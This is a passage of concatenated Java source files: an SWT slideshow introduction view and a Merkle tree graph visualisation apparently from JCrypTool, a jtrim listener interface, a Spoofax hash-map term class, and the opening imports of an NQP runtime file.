(transitionTimerThread.isAlive()) { return; } // This causes the resize of the slideshow. debouncer.debounce(100, resizeRunnable); } @Override public void controlMoved(ControlEvent e) { // No need to resize, because the size of the // canvas does not change when moving the plugin. } }); lowerArea = new Composite(content, SWT.NONE); lowerArea.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 3, 1)); GridLayout gl_lowerArea = new GridLayout(2, false); gl_lowerArea.marginHeight = 0; gl_lowerArea.marginWidth = 0; lowerArea.setLayout(gl_lowerArea); // Spacer of the left of the "do not show again" checkbox. new Label(lowerArea, SWT.NONE).setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false)); // This is the "do not show again" checkbox in the bottom right corner. Button checkbox = new Button(lowerArea, SWT.CHECK); checkbox.setOrientation(SWT.RIGHT_TO_LEFT); checkbox.setLayoutData(new GridData(SWT.FILL, SWT.BOTTOM, false, true)); checkbox.setForeground(ColorService.GRAY); checkbox.setText(Messages.AlgorithmInstruction_showAgain); // The button is set/unset depending on the setting in the preferences. // Therefore the preferencces are loaded and the entry // "DONT_SHOW_ALGORITHM_INTRODUCTION" // is read. IPreferenceStore prefs = new ScopedPreferenceStore(InstanceScope.INSTANCE, CorePlugin.PLUGIN_ID); boolean show = prefs.getBoolean("DONT_SHOW_ALGORITHM_INTRODUCTION"); //$NON-NLS-1$ checkbox.setSelection(show); checkbox.addSelectionListener(new SelectionListener() { @Override public void widgetSelected(SelectionEvent e) { // This changes the preferences if the user changed the // "Do no show again" checkbox.. IPreferenceStore prefs = new ScopedPreferenceStore(InstanceScope.INSTANCE, CorePlugin.PLUGIN_ID); prefs.setValue("DONT_SHOW_ALGORITHM_INTRODUCTION", checkbox.getSelection()); //$NON-NLS-1$ } @Override public void widgetDefaultSelected(SelectionEvent e) { } }); // The following 4 lines initialize the slideshow. transitionManager = new TransitionManager(transitionable); // This defines how the Images should slide. // There a several options: // - SlideTransition: horizontal and vertical slide transitions // - CubicRotationTransition: horizontal and vertical 3D cubic rotations // - FadeTransition: fade transition slideTransition = new SlideTransition(transitionManager); transitionManager.setTransition(slideTransition); transitionManager.setControlImages(scaled_imgs); // Calculate the minimal size of the plugin to // set the scrollbars correct. scrolledComposite.setMinSize(content.computeSize(SWT.DEFAULT, SWT.DEFAULT)); SmoothScroller.scrollSmooth(scrolledComposite); // Create the help context id for the viewer's control PlatformUI.getWorkbench().getHelpSystem().setHelp(parent, IntroductionPlugin.PLUGIN_ID + ".introductionContexHelpID"); //$NON-NLS-1$ // Start the thread that changes the images after 15 seconds. startAutoSwitchImages(); } private int[] computeSlideshowSizeHint() { Rectangle parentSize = cnvsComposite.getClientArea(); float aspectRatio = getCurrentSlideAspectRatio(); float parentAspectRatio = (float) parentSize.width / (float) parentSize.height; int adaptedWidth = parentSize.width; int adaptedHeight = parentSize.height; if (adaptedWidth <= 0 || adaptedHeight <= 0) { adaptedHeight = 10; adaptedWidth = 10; } if (aspectRatio > parentAspectRatio) { // broader than allowed -> adapt height to match parent width adaptedHeight = (int) Math.round(adaptedWidth / aspectRatio); } else { // other way around adaptedWidth = (int) Math.round(adaptedHeight * aspectRatio); } int[] adaptedSize = new int[] { adaptedWidth, adaptedHeight }; return adaptedSize; } /** * This functions calculates the current side ration of the slide.</br> * For exaple 16:9=1.777 * @return The side ratio of the current slide. */ protected float getCurrentSlideAspectRatio() { ImageData imageData = scaled_imgs[curImage].getImageData(); float ratio = (float) imageData.width / (float) imageData.height; return ratio; } /** * This method only initializes * <code>scaled_imgs = new Image[original_imgs.length];</code> and fills it with * the images from <code>original_imgs</code> array. */ private void initializeScaledImages() { scaled_imgs = new Image[original_imgs.length]; System.arraycopy(original_imgs, 0, scaled_imgs, 0, original_imgs.length); } /** * This starts the automatic switching of images in the slideshow. */ private void startAutoSwitchImages() { autoSlide = true; resetTimer(); } /** * This stops the automatic switching of images in the slideshow. */ private void stopAutoSwitchImages() { autoSlide = false; if (timerThread.isAlive()) { timerThread.interrupt(); } } /** * Slides an Image to the right. */ private void slideToNextImage() { int nextImage = Math.floorMod(curImage + 1, scaled_imgs.length); transitionTimerThread = new Thread(transitionTimerRunnable); transitionTimerThread.start(); slideTransition.start(scaled_imgs[curImage], curImage, scaled_imgs[nextImage], nextImage, cnvs, SlideTransition.DIR_LEFT); curImage = nextImage; cnvs.redraw(); cnvs.update(); resetTimer(); } /** * Slides an image to the left. */ private void slideToPrevImage() { int previousImage = Math.floorMod(curImage - 1, scaled_imgs.length); transitionTimerThread = new Thread(transitionTimerRunnable); transitionTimerThread.start(); slideTransition.start(scaled_imgs[curImage], curImage, scaled_imgs[previousImage], previousImage, cnvs, SlideTransition.DIR_RIGHT); curImage = previousImage; cnvs.redraw(); cnvs.update(); resetTimer(); } private void slideToImageNr(int imageNr) { // Only do a slide if the given image is // different from the current image. if (imageNr != curImage) { double direction = 0.0; if (imageNr < curImage) { // Slide left direction = SlideTransition.DIR_RIGHT; } else { // Slide right direction = SlideTransition.DIR_LEFT; } // Start the timer that avoids any interaction when a transition is in progress. transitionTimerThread = new Thread(transitionTimerRunnable); transitionTimerThread.start(); // This starts the transition slideTransition.start(scaled_imgs[curImage], curImage, scaled_imgs[imageNr], imageNr, cnvs, direction); curImage = imageNr; cnvs.redraw(); cnvs.update(); resetTimer(); } } /** * Scales the image to available size of the canvas. */ private void scaleImagesToCanvasSize() { // The following code calculates the side ratios of the image // to fit perfectly in the canvas ImageData imageData; // Attributes of the original image. float imageWidth, imageHeight, imageRatio; // A factor to calculate the width/height of the scaled image. float resizeFactor; // Attributs of the canvas float canvasWidth = cnvs.getClientArea().width; float canvasHeight = cnvs.getClientArea().height; float canvasRatio = canvasWidth / canvasHeight; // Iterate through all images. for (int i = 0; i < original_imgs.length; i++) { imageData = original_imgs[i].getImageData(); imageWidth = imageData.width; imageHeight = imageData.height; imageRatio = imageWidth / imageHeight; if (imageRatio <= canvasRatio) { // The canvas height is the restricting size. resizeFactor = canvasHeight / imageHeight; int width = (int) (imageWidth * resizeFactor); int height = (int) canvasHeight; // Use the original, unscaled images as source. This // keeps up the quality of the images if the // window is often resized. scaled_imgs[i] = ImageScaler.resize(original_imgs[i], width, height); } else { // The width of the composite is the restricting factor. resizeFactor = canvasWidth / imageWidth; int width = (int) canvasWidth; int height = (int) (imageData.height * resizeFactor); // Use the original, unscaled images as source. This // keeps up the quality of the images if the // window is often resized. scaled_imgs[i] = ImageScaler.resize(original_imgs[i], width, height); } } // Set the new scaled images to the transition. transitionManager.clearControlImages(); transitionManager.setControlImages(scaled_imgs); // Redraw the slideshow, because the automatic redraw from the // resize event already happened. cnvs.redraw(); } @Override public void setFocus() { cnvs.setFocus(); } @Override public void dispose() { // This is a custom dispose method. // It stops the automatic switching of images in the slideshow. // This is necessary, because the Thread that switches the images // would still run, if the users closes the introduction. The Thread is // is still running, but all widgets are disposed, this NullPointerExceptions. // Therefore stop it when the user closes the introduction. stopAutoSwitchImages(); debouncer.cancelAllJobs(); super.dispose(); } /** * Returns if the slideshow is activated or not. * * @return True, if the slideshow is working, false if not. */ public boolean getAutoSlide() { return autoSlide; } /** * Sets if the slideshow should work or not.</br> * This stops / starts the thread sliding the images. * * @param autoSlide True, if the slideshow should work, false it should remain * at the current image. */ public void setAutoSlide(boolean autoSlide) { if (autoSlide) { startAutoSwitchImages(); } else { stopAutoSwitchImages(); } } /** * This method triggers an slide in 15 seconds. */ private void resetTimer() { if (timerThread.isAlive()) { timerThread.interrupt(); } timerThread = new Thread(timerRunnable); timerThread.start(); } }
package org.jtrim.event; /** * Defines a reference of an event handler which has been registered to be * notified of a certain event. The event handler can be * {@link #unregister() unregistered} once no longer needed to be notified of * the event. Once a listener has been unregistered, there is no way to register * it again through this interface. That is, it should be registered as it was * done previously. * <P> * There are some cases when you want to unregister a listener in the code of * the listener itself. In this case use the {@link InitLaterListenerRef} class. * <P> * Listeners of this reference are usually added to an * {@link ListenerRegistry}. See its documentation for further details. * * <h3>Thread safety</h3> * Implementations of this interface are required to be safe to use by multiple * threads concurrently. * * <h4>Synchronization transparency</h4> * Methods of this interface are required to be * <I>synchronization transparent</I>. * * @see InitLaterListenerRef * @see ListenerRegistry * * @author Kelemen Attila */ public interface ListenerRef { /** * Checks whether the listener is currently registered to receive * notifications of events. * <P> * In case this method returns {@code true}, the method * {@link #unregister() unregister()} can be called to stop the listener * from receiving notifications of the events occurring. If this method * returns {@code false}, the {@code unregister()} method has no useful * effect and listener notifications can be expected to stop at some time * in the future. Note that even if this method returns {@code false}, some * pending event notifications might be forwarded. * * @return {@code true} if the listener is currently registered to be * notified of occurring events, {@code false} if the listener was * unregistered, so calling {@code unregister} is no longer necessary */ public boolean isRegistered(); /** * Unregisters the listener, so it does not need to be notified of * subsequent events. Calling this method ensures that there will be a point * in time in the future from when notifications of new events will no * longer be forwarded. That is, it is possible that some subsequent events * will still be forwarded to the associated listener but forwarding of * these events will eventually stop without further interaction. * <P> * This method must be idempotent. That is, invoking it multiple times has * the same effect as invoking it only once. */ public void unregister(); }
package org.jcryptool.visual.merkletree.ui; import java.util.ArrayList; import java.util.List; import org.eclipse.draw2d.ColorConstants; import org.eclipse.draw2d.FigureCanvas; import org.eclipse.draw2d.SWTEventDispatcher; import org.eclipse.gef.editparts.ZoomManager; import org.eclipse.jface.layout.GridDataFactory; import org.eclipse.jface.viewers.ISelection; import org.eclipse.swt.SWT; import org.eclipse.swt.custom.SashForm; import org.eclipse.swt.custom.StyledText; import org.eclipse.swt.events.ExpandEvent; import org.eclipse.swt.events.ExpandListener; import org.eclipse.swt.events.MouseEvent; import org.eclipse.swt.events.MouseListener; import org.eclipse.swt.events.MouseWheelListener; import org.eclipse.swt.events.PaintEvent; import org.eclipse.swt.events.PaintListener; import org.eclipse.swt.events.SelectionAdapter; import org.eclipse.swt.events.SelectionEvent; import org.eclipse.swt.graphics.Color; import org.eclipse.swt.graphics.Point; import org.eclipse.swt.graphics.RGB; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.layout.GridLayout; import org.eclipse.swt.widgets.Composite; import org.eclipse.swt.widgets.Control; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.ExpandBar; import org.eclipse.swt.widgets.ExpandItem; import org.eclipse.swt.widgets.Label; import org.eclipse.ui.part.ViewPart; import org.eclipse.zest.core.viewers.GraphViewer; import org.eclipse.zest.core.widgets.Graph; import org.eclipse.zest.core.widgets.GraphConnection; import org.eclipse.zest.core.widgets.GraphItem; import org.eclipse.zest.core.widgets.GraphNode; import org.eclipse.zest.core.widgets.ZestStyles; import org.eclipse.zest.layouts.LayoutStyles; import org.eclipse.zest.layouts.algorithms.TreeLayoutAlgorithm; import org.jcryptool.visual.merkletree.Descriptions; import org.jcryptool.visual.merkletree.algorithm.ISimpleMerkle; import org.jcryptool.visual.merkletree.algorithm.MultiTree; import org.jcryptool.visual.merkletree.algorithm.Node; import org.jcryptool.visual.merkletree.ui.MerkleConst.SUIT; /** * Class for the Composite of Tabpage "MerkleTree" * * @author Kevin Muehlboeck * @author Maximilian Lindpointner * */ public class MerkleTreeZestComposite extends Composite { private GraphViewer viewer; private Composite merkleTreeZestComposite; private StyledText styledTextTree; private ArrayList<GraphConnection> markedConnectionList; private ExpandBar descriptionExpander; private Label descLabel; private StyledText descText; private Composite expandComposite; private Composite zestComposite; private Display curDisplay; private boolean distinctListener = false; private boolean mouseDragging; private Point oldMouse; private Point newMouse; private int differenceMouseX; private int differenceMouseY; private org.eclipse.draw2d.geometry.Point viewLocation; private ISimpleMerkle merkle; private Graph graph; private List<?> graphNodeRetriever; private GraphNode[] leaves; private GraphNode[] nodes; private Color distinguishableColors[]; private ZoomManager zoomManager; /** * Create the composite. Including Description, GraphItem, GraphView, * Description for GraphView * * @param parent * @param style */ /** * @param parent * @param style * @param merkle * @param mode */ public MerkleTreeZestComposite(Composite parent, int style, ISimpleMerkle merkle, SUIT mode, ViewPart masterView) { super(parent, style); this.setLayout(new GridLayout(2, true)); this.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, MerkleConst.DESC_HEIGHT + 1)); curDisplay = getDisplay(); merkleTreeZestComposite = this; this.merkle = merkle; /* * the description label for the chosen mode */ descLabel = new Label(this, SWT.NONE); descLabel.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, true, false, MerkleConst.H_SPAN_MAIN, 1)); descriptionExpander = new ExpandBar(this, SWT.NONE); descriptionExpander.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 2, 1)); ExpandItem collapsablePart = new ExpandItem(descriptionExpander, SWT.NONE, 0); expandComposite = new Composite(descriptionExpander, SWT.NONE); GridLayout expandLayout = new GridLayout(2, true); expandComposite.setLayout(expandLayout); /* * description text of the chosen mode */ descText = new StyledText(expandComposite, SWT.BORDER | SWT.READ_ONLY | SWT.WRAP | SWT.V_SCROLL); descText.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 2, 1)); // this.setLayout(new GridLayout(1, true)); styledTextTree = new StyledText(this, SWT.BORDER | SWT.READ_ONLY | SWT.WRAP); styledTextTree.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 2, 1)); switch (mode) { case XMSS: descLabel.setText(Descriptions.XMSS.Tab1_Head0); descText.setText(Descriptions.XMSS.Tab1_Txt0); styledTextTree.setText(Descriptions.XMSS.Tab1_Txt1); break; case XMSS_MT: descLabel.setText(Descriptions.XMSS_MT.Tab1_Head0); descText.setText(Descriptions.XMSS_MT.Tab1_Txt0); // styledTextTree.setText(Descriptions.XMSS_MT.Tab1_Txt1); break; case MSS: default: descLabel.setText(Descriptions.MSS.Tab1_Head0); descText.setText(Descriptions.MSS.Tab1_Txt0); styledTextTree.setText(Descriptions.MSS.Tab1_Txt1); break; } int preferredHeight = descText.computeSize(SWT.DEFAULT, SWT.DEFAULT).y; collapsablePart.setText(Descriptions.Tab1_Button_1); collapsablePart.setExpanded(true); collapsablePart.setControl(expandComposite); collapsablePart.setHeight(preferredHeight + 60); descriptionExpander.setBackground(curDisplay.getSystemColor(SWT.COLOR_WHITE)); zestComposite = new Composite(this, SWT.DOUBLE_BUFFERED | SWT.BORDER); zestComposite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 2, 1)); zestComposite.setLayout(new GridLayout()); zestComposite.setBackground(getDisplay().getSystemColor(SWT.COLOR_WHITE)); zestComposite.setBackgroundMode(SWT.INHERIT_FORCE); zestComposite.setCursor(getDisplay().getSystemCursor(SWT.CURSOR_SIZEALL)); // Beginning of the Graph viewer = new GraphViewer(zestComposite, SWT.V_SCROLL | SWT.H_SCROLL); viewer.getControl().forceFocus(); descriptionExpander.addExpandListener(new ExpandListener() { @Override public void itemExpanded(ExpandEvent e) { curDisplay.asyncExec(() -> { collapsablePart.setHeight(preferredHeight + 60); descriptionExpander.pack(); merkleTreeZestComposite.layout(); collapsablePart.setText(Descriptions.Tab1_Button_1); }); } @Override public void itemCollapsed(ExpandEvent e) { curDisplay.asyncExec(() -> { descriptionExpander.pack(); merkleTreeZestComposite.layout(); collapsablePart.setText(Descriptions.Tab1_Button_2); }); } }); markedConnectionList = new ArrayList<GraphConnection>(); viewer.setContentProvider(new ZestNodeContentProvider()); viewer.setLabelProvider(new ZestLabelProvider(ColorConstants.lightGreen)); viewer.getControl().addPaintListener(new PaintListener() { @Override public void paintControl(PaintEvent e) { Point currentShellSize; currentShellSize = parent.getSize(); double x, y; Point startingSashLocation; switch (merkle.getLeafCounter()) { case 2: x = currentShellSize.x; y = currentShellSize.y / 2; startingSashLocation = new Point(70, 10); break; case 4: x = currentShellSize.x; y = currentShellSize.y / 1.7; startingSashLocation = new Point(40, 10); break; case 8: x = currentShellSize.x; y = currentShellSize.y; startingSashLocation = new Point(20, 0); break; case 16: x = currentShellSize.x * 1.2; y = currentShellSize.y; startingSashLocation = new Point(-150, 0); break; case 32: x = currentShellSize.x * 1.5; y = currentShellSize.y * 1.2; startingSashLocation = new Point(-450, 0); break; case 64: x = currentShellSize.x * 2; y = currentShellSize.y * 1.5; startingSashLocation = new Point(-925, 0); break; default: x = currentShellSize.x; y = currentShellSize.y; startingSashLocation = new Point(80, 10); break; } graph.getViewport().setSize((int) x, (int) y); } }); // select the layout of the connections -> CONNECTIONS_DIRECTED would be viewer.setConnectionStyle(ZestStyles.CONNECTIONS_SOLID); viewer.setInput(merkle.getTree()); viewer.setLayoutAlgorithm(new TreeLayoutAlgorithm(LayoutStyles.NO_LAYOUT_NODE_RESIZING), true); viewer.applyLayout(); GridDataFactory.fillDefaults().grab(true, true).applyTo(viewer.getControl()); graph = viewer.getGraphControl(); graph.setBackground(getDisplay().getSystemColor(SWT.COLOR_TRANSPARENT)); graph.setScrollBarVisibility(FigureCanvas.NEVER); graphNodeRetriever = graph.getNodes(); nodes = new GraphNode[graphNodeRetriever.size()]; leaves = new GraphNode[graphNodeRetriever.size() / 2 + 1]; if (mode == SUIT.XMSS_MT) { colorizeMultitrees(); } else { graph.addSelectionListener(new SelectionAdapter() { /* * (non-Javadoc) * * @see * org.eclipse.swt.events.SelectionAdapter#widgetSelected(org. * eclipse.swt.events. SelectionEvent) Click-Event to get the * Selected Node and to mark the other Nodes */ @Override public void widgetSelected(SelectionEvent e) { distinctListener = true; if (e.item instanceof GraphNode) { GraphNode node = (GraphNode) e.item; Node n = (Node) node.getData(); if (n.isLeaf()) { styledTextTree.setForeground(new Color(null, new RGB(1, 70, 122))); // styledTextTree.setFont(FontService.getHugeFont()); styledTextTree.setText(Descriptions.ZestLabelProvider_5 + " " + n.getLeafNumber() + " = " //$NON-NLS-1$ //$NON-NLS-2$ + n.getNameAsString()); if (markedConnectionList.size() == 0) { markBranch(node); markAuthPath(markedConnectionList); } else { unmarkBranch(markedConnectionList); markedConnectionList.clear(); markBranch(node); markAuthPath(markedConnectionList); } } else { if (markedConnectionList.size() != 0) { unmarkBranch(markedConnectionList); markedConnectionList.clear(); markBranch(node); } else { markBranch(node); } styledTextTree.setForeground(new Color(null, new RGB(0, 0, 0))); styledTextTree.setAlignment(SWT.LEFT); styledTextTree.setText(Descriptions.ZestLabelProvider_6 + " = " + n.getNameAsString()); } } /* Deselects immediately to allow dragging */ viewer.setSelection(new ISelection() { @Override public boolean isEmpty() { return false; } }); } }); } // Camera Movement MouseListener dragQueen = new MouseListener() { @Override public void mouseUp(MouseEvent e) { distinctListener = false; mouseDragging = false; zestComposite.setCursor(getDisplay().getSystemCursor(SWT.CURSOR_CROSS)); } @Override public void mouseDown(MouseEvent e) { mouseDragging = true; oldMouse = Display.getCurrent().getCursorLocation(); viewLocation = graph.getViewport().getViewLocation(); if (distinctListener == false) zestComposite.setCursor(getDisplay().getSystemCursor(SWT.CURSOR_SIZEALL)); Runnable runnable = new Runnable() { @Override public void run() { while (mouseDragging) { if (distinctListener == false) updateViewLocation(); try { Thread.sleep(2); } catch (InterruptedException e) { } } } }; new Thread(runnable).start(); } @Override public void mouseDoubleClick(MouseEvent e) { // do nothing } }; viewer.getGraphControl().addMouseListener(dragQueen); zestComposite.addMouseListener(dragQueen); // This performs MouseWheel zooming zoomManager = new ZoomManager(graph.getRootLayer(), graph.getViewport()); graph.addMouseWheelListener(new MouseWheelListener() { @Override public void mouseScrolled(MouseEvent e) { if (e.count < 0) { zoomManager.zoomOut(); } else { zoomManager.zoomIn(); } } }); // Makes the nodes fixed (they cannot be dragged around with the mouse // by overriding the mouseMovedListener with empty event graph.getLightweightSystem().setEventDispatcher(new SWTEventDispatcher() { public void dispatchMouseMoved(MouseEvent e) { } }); } /** * Marks the whole branch begining from the leaf node * * @param leaf * - the leaf node of the branch */ @SuppressWarnings("unchecked") private void markBranch(GraphNode leaf) { ArrayList<GraphItem> items = new ArrayList<GraphItem>(); try { GraphConnection connection = (GraphConnection) leaf.getTargetConnections().get(0); connection.setLineColor(viewer.getGraphControl().DARK_BLUE); connection.getSource().setBackgroundColor(viewer.getGraphControl().HIGHLIGHT_COLOR); connection.getDestination().setBackgroundColor(viewer.getGraphControl().HIGHLIGHT_COLOR); items.add(connection.getSource()); items.add(connection.getDestination()); markedConnectionList.add(connection); List<GraphConnection> l = connection.getSource().getTargetConnections(); while (l.size() != 0) { connection = (GraphConnection) connection.getSource().getTargetConnections().get(0); connection.setLineColor(viewer.getGraphControl().DARK_BLUE); connection.getSource().setBackgroundColor(viewer.getGraphControl().HIGHLIGHT_COLOR); connection.getDestination().setBackgroundColor(viewer.getGraphControl().HIGHLIGHT_COLOR); items.add(connection.getSource()); items.add(connection.getDestination()); markedConnectionList.add(connection); l = connection.getSource().getTargetConnections(); } } catch (IndexOutOfBoundsException ex) { items.add(((GraphConnection) (leaf.getSourceConnections().get(0))).getSource()); } viewer.getGraphControl().setSelection(items.toArray(new GraphItem[items.size()])); } /** * Unmark a previous marked branch * * @param markedConnectionList * - Contains marked elements */ private void unmarkBranch(List<GraphConnection> markedConnectionList) { GraphConnection authPath; for (GraphConnection connection : markedConnectionList) { connection.setLineColor(ColorConstants.lightGray); connection.getSource().setBackgroundColor(viewer.getGraphControl().LIGHT_BLUE); authPath = (GraphConnection) connection.getSource().getSourceConnections().get(0); authPath.getDestination().setBackgroundColor(ColorConstants.lightGreen); authPath = (GraphConnection) connection.getSource().getSourceConnections().get(1); authPath.getDestination().setBackgroundColor(ColorConstants.lightGreen); // color the nodes back to light green Node leaf = (Node) connection.getDestination().getData(); if (leaf.isLeaf()) { connection.getDestination().setBackgroundColor(ColorConstants.lightGreen); } else { connection.getDestination().setBackgroundColor(ColorConstants.lightGreen); // viewer.getGraphControl().LIGHT_BLUE } } } /** * Marks the authentification path of the leaf * * @param markedConnectionList * - Contains marked elements of the Changing Path */ private void markAuthPath(List<GraphConnection> markedConnectionList) { GraphConnection authPath; // List<GraphConnection> connections = leaf.getTargetConnections(); for (GraphConnection connect : markedConnectionList) { Node myNode = (Node) connect.getDestination().getData(); Node parentNode = (Node) connect.getSource().getData(); if (myNode.equals(parentNode.getLeft())) { authPath = (GraphConnection) connect.getSource().getSourceConnections().get(1); authPath.getDestination().setBackgroundColor(ColorConstants.red); } else { authPath = (GraphConnection) connect.getSource().getSourceConnections().get(0); authPath.getDestination().setBackgroundColor(ColorConstants.red); } } } /** * Synchronize the merklTree with the other Tabpages * * @param merkle */ private void linkMerkleTree(ISimpleMerkle merkle) { if (merkle.getMerkleRoot() != null) { viewer.setInput(merkle.getTree()); viewer.setLayoutAlgorithm(new TreeLayoutAlgorithm(LayoutStyles.NO_LAYOUT_NODE_RESIZING), true); viewer.applyLayout(); } } /** * Sets the current view location based on mouse movement */ private void updateViewLocation() { curDisplay.asyncExec(new Runnable() { @Override public void run() { newMouse = getDisplay().getCursorLocation(); differenceMouseX = newMouse.x - oldMouse.x; differenceMouseY = newMouse.y - oldMouse.y; if (differenceMouseX != 0 || differenceMouseY != 0) { if (mouseDragging) { graph.getViewport().setViewLocation(viewLocation.x -= differenceMouseX, viewLocation.y -= differenceMouseY); oldMouse = newMouse; } } } }); } /** * If the suite is MultiTree, this method can be called to highlight the * single trees */ private void colorizeMultitrees() { int singleTreeHeight = ((MultiTree) merkle).getSingleTreeHeight(); int singleTreeLeaves = (int) Math.pow(2, singleTreeHeight - 1); int treeCount = 0; int leafCounter = merkle.getLeafCounter(); for (int i = leafCounter; i >= 1;) { i /= singleTreeLeaves; treeCount += i; } GraphNode[] rootNodes = new GraphNode[treeCount]; GraphNode helper; for (int i = 0, j = 0; i < graphNodeRetriever.size(); ++i) { if (((GraphNode) graphNodeRetriever.get(i)).getSourceConnections().isEmpty()) { leaves[j] = (GraphNode) graphNodeRetriever.get(i); ++j; } nodes[i] = (GraphNode) graphNodeRetriever.get(i); } leafCounter = merkle.getLeafCounter(); for (int i = 0, p = 0; i < rootNodes.length;) { for (int k = 0; k < leafCounter; k += singleTreeLeaves, ++i) { rootNodes[i] = leaves[k]; for (int j = 1; j < singleTreeHeight; ++j) { helper = ((GraphConnection) rootNodes[i].getTargetConnections().get(0)).getSource(); rootNodes[i] = helper; } } for (int q = 0; q < leafCounter / singleTreeLeaves; ++p, ++q) { leaves[q] = rootNodes[p]; } leafCounter /= singleTreeLeaves; // rootNodes[i].highlight(); } distinguishableColors = new Color[7]; distinguishableColors[0] = new Color(getDisplay(), 186, 186, 0); distinguishableColors[1] = new Color(getDisplay(), 186, 0, 186); distinguishableColors[2] = new Color(getDisplay(), 205, 183, 158); distinguishableColors[3] = new Color(getDisplay(), 0, 186, 186); distinguishableColors[4] = new Color(getDisplay(), 0, 186, 0); distinguishableColors[5] = new Color(getDisplay(), 176, 0, 0); distinguishableColors[6] = new Color(getDisplay(), 210, 105, 30); for (int i = rootNodes.length - 1, j = 0; i >= 0; --i, ++j) { if (j >= distinguishableColors.length) j = 0; recursive(rootNodes[i], distinguishableColors[j]); } } @SuppressWarnings("unchecked") private void recursive(GraphNode node, Color color) { if (node.getSourceConnections() == null) { node.setBackgroundColor(color); return; } List<GraphConnection> connection = node.getSourceConnections(); for (int i = 0; i < connection.size(); ++i) { recursive(connection.get(i).getDestination(), color); } node.setBackgroundColor(color); if (color == distinguishableColors[5] || color == distinguishableColors[1]) { node.setForegroundColor(getDisplay().getSystemColor(SWT.COLOR_GRAY)); } else { node.setForegroundColor(new Color(null, new RGB(1, 70, 122))); } } }
package org.spoofax.interpreter.library.ssl; import java.io.IOException; import java.util.Iterator; import java.util.LinkedHashMap; import org.spoofax.interpreter.terms.ISimpleTerm; import org.spoofax.interpreter.terms.IStrategoList; import org.spoofax.interpreter.terms.IStrategoTerm; import org.spoofax.interpreter.terms.ITermPrinter; import org.spoofax.terms.AbstractSimpleTerm; import org.spoofax.terms.AbstractTermFactory; import org.spoofax.terms.TermFactory; import org.spoofax.terms.attachments.ITermAttachment; import org.spoofax.terms.attachments.TermAttachmentType; public class StrategoHashMap extends LinkedHashMap<IStrategoTerm, IStrategoTerm> implements IStrategoTerm { private static final long serialVersionUID = -8193582031891397734L; // I already burned my base class here, so I use encapsulation for attachments private final AbstractSimpleTerm attachmentContainer = new AbstractSimpleTerm() { public boolean isList() { return false; } public int getSubtermCount() { return 0; } public ISimpleTerm getSubterm(int i) { throw new IndexOutOfBoundsException("" + i); } }; public StrategoHashMap() { super(); } public StrategoHashMap(int initialSize, int maxLoad) { super(initialSize, 1.0f * maxLoad / 100); } public IStrategoTerm[] getAllSubterms() { return AbstractTermFactory.EMPTY; } public IStrategoList getAnnotations() { return TermFactory.EMPTY_LIST; } public int getStorageType() { return MUTABLE; } public IStrategoTerm getSubterm(int index) { throw new UnsupportedOperationException(); } public int getSubtermCount() { return 0; } public int getTermType() { return BLOB; } public boolean match(IStrategoTerm second) { return second == this; } @Override public int hashCode() { return System.identityHashCode(this); } public void prettyPrint(ITermPrinter pp) { pp.print(toString()); } @Override public String toString() { return String.valueOf(hashCode()); } public String toString(int maxDepth) { return toString(); } public void writeAsString(Appendable output, int maxDepth) throws IOException { output.append(toString()); } public<T extends ITermAttachment> T getAttachment(TermAttachmentType<T> type) { return attachmentContainer.getAttachment(type); } public void putAttachment(ITermAttachment attachment) { attachmentContainer.putAttachment(attachment); } public ITermAttachment removeAttachment(TermAttachmentType<?> type) { return attachmentContainer.removeAttachment(type); } public boolean isList() { return false; } public Iterator<IStrategoTerm> iterator() { return this.values().iterator(); } }
package org.perl6.nqp.runtime; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.UnsupportedEncodingException; import java.lang.invoke.MethodHandle; import java.lang.invoke.MethodHandles; import java.lang.invoke.MethodType; import java.math.BigDecimal; import java.math.BigInteger; import java.math.RoundingMode; import java.nio.ByteBuffer; import java.nio.charset.Charset; import java.nio.file.DirectoryStream; import java.nio.file.Files; import java.nio.file.LinkOption; import java.nio.file.Path; import java.nio.file.Paths; import java.nio.file.StandardCopyOption; import java.nio.file.attribute.FileTime; import java.nio.file.attribute.PosixFilePermission; import java.nio.file.attribute.PosixFilePermissions; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.ArrayList; import java.util.Collections; import java.util.EnumSet; import java.util.HashMap; import java.util.LinkedList; import java.util.List; import java.util.Map; import java.util.Properties; import java.util.Set; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; import java.net.InetAddress; import org.perl6.nqp.io.AsyncFileHandle; import org.perl6.nqp.io.FileHandle; import org.perl6.nqp.io.IIOAsyncReadable; import org.perl6.nqp.io.IIOClosable; import org.perl6.nqp.io.IIOEncodable; import org.perl6.nqp.io.IIOInteractive; import org.perl6.nqp.io.IIOLineSeparable; import org.perl6.nqp.io.IIOSeekable; import org.perl6.nqp.io.IIOSyncReadable; import org.perl6.nqp.io.IIOSyncWritable; import org.perl6.nqp.io.ProcessHandle; import org.perl6.nqp.io.ServerSocketHandle; import org.perl6.nqp.io.SocketHandle; import org.perl6.nqp.io.StandardReadHandle; import org.perl6.nqp.io.StandardWriteHandle; import org.perl6.nqp.jast2bc.JASTToJVMBytecode; import org.perl6.nqp.sixmodel.BoolificationSpec; import org.perl6.nqp.sixmodel.ContainerConfigurer; import org.perl6.nqp.sixmodel.ContainerSpec; import org.perl6.nqp.sixmodel.InvocationSpec; import org.perl6.nqp.sixmodel.REPRRegistry; import org.perl6.nqp.sixmodel.STable; import org.perl6.nqp.sixmodel.SerializationContext; import org.perl6.nqp.sixmodel.SerializationReader; import org.perl6.nqp.sixmodel.SerializationWriter; import org.perl6.nqp.sixmodel.SixModelObject; import org.perl6.nqp.sixmodel.StorageSpec; import org.perl6.nqp.sixmodel.TypeObject; import org.perl6.nqp.sixmodel.reprs.CallCaptureInstance; import org.perl6.nqp.sixmodel.reprs.ContextRef; import org.perl6.nqp.sixmodel.reprs.ContextRefInstance; import org.perl6.nqp.sixmodel.reprs.IOHandleInstance; import 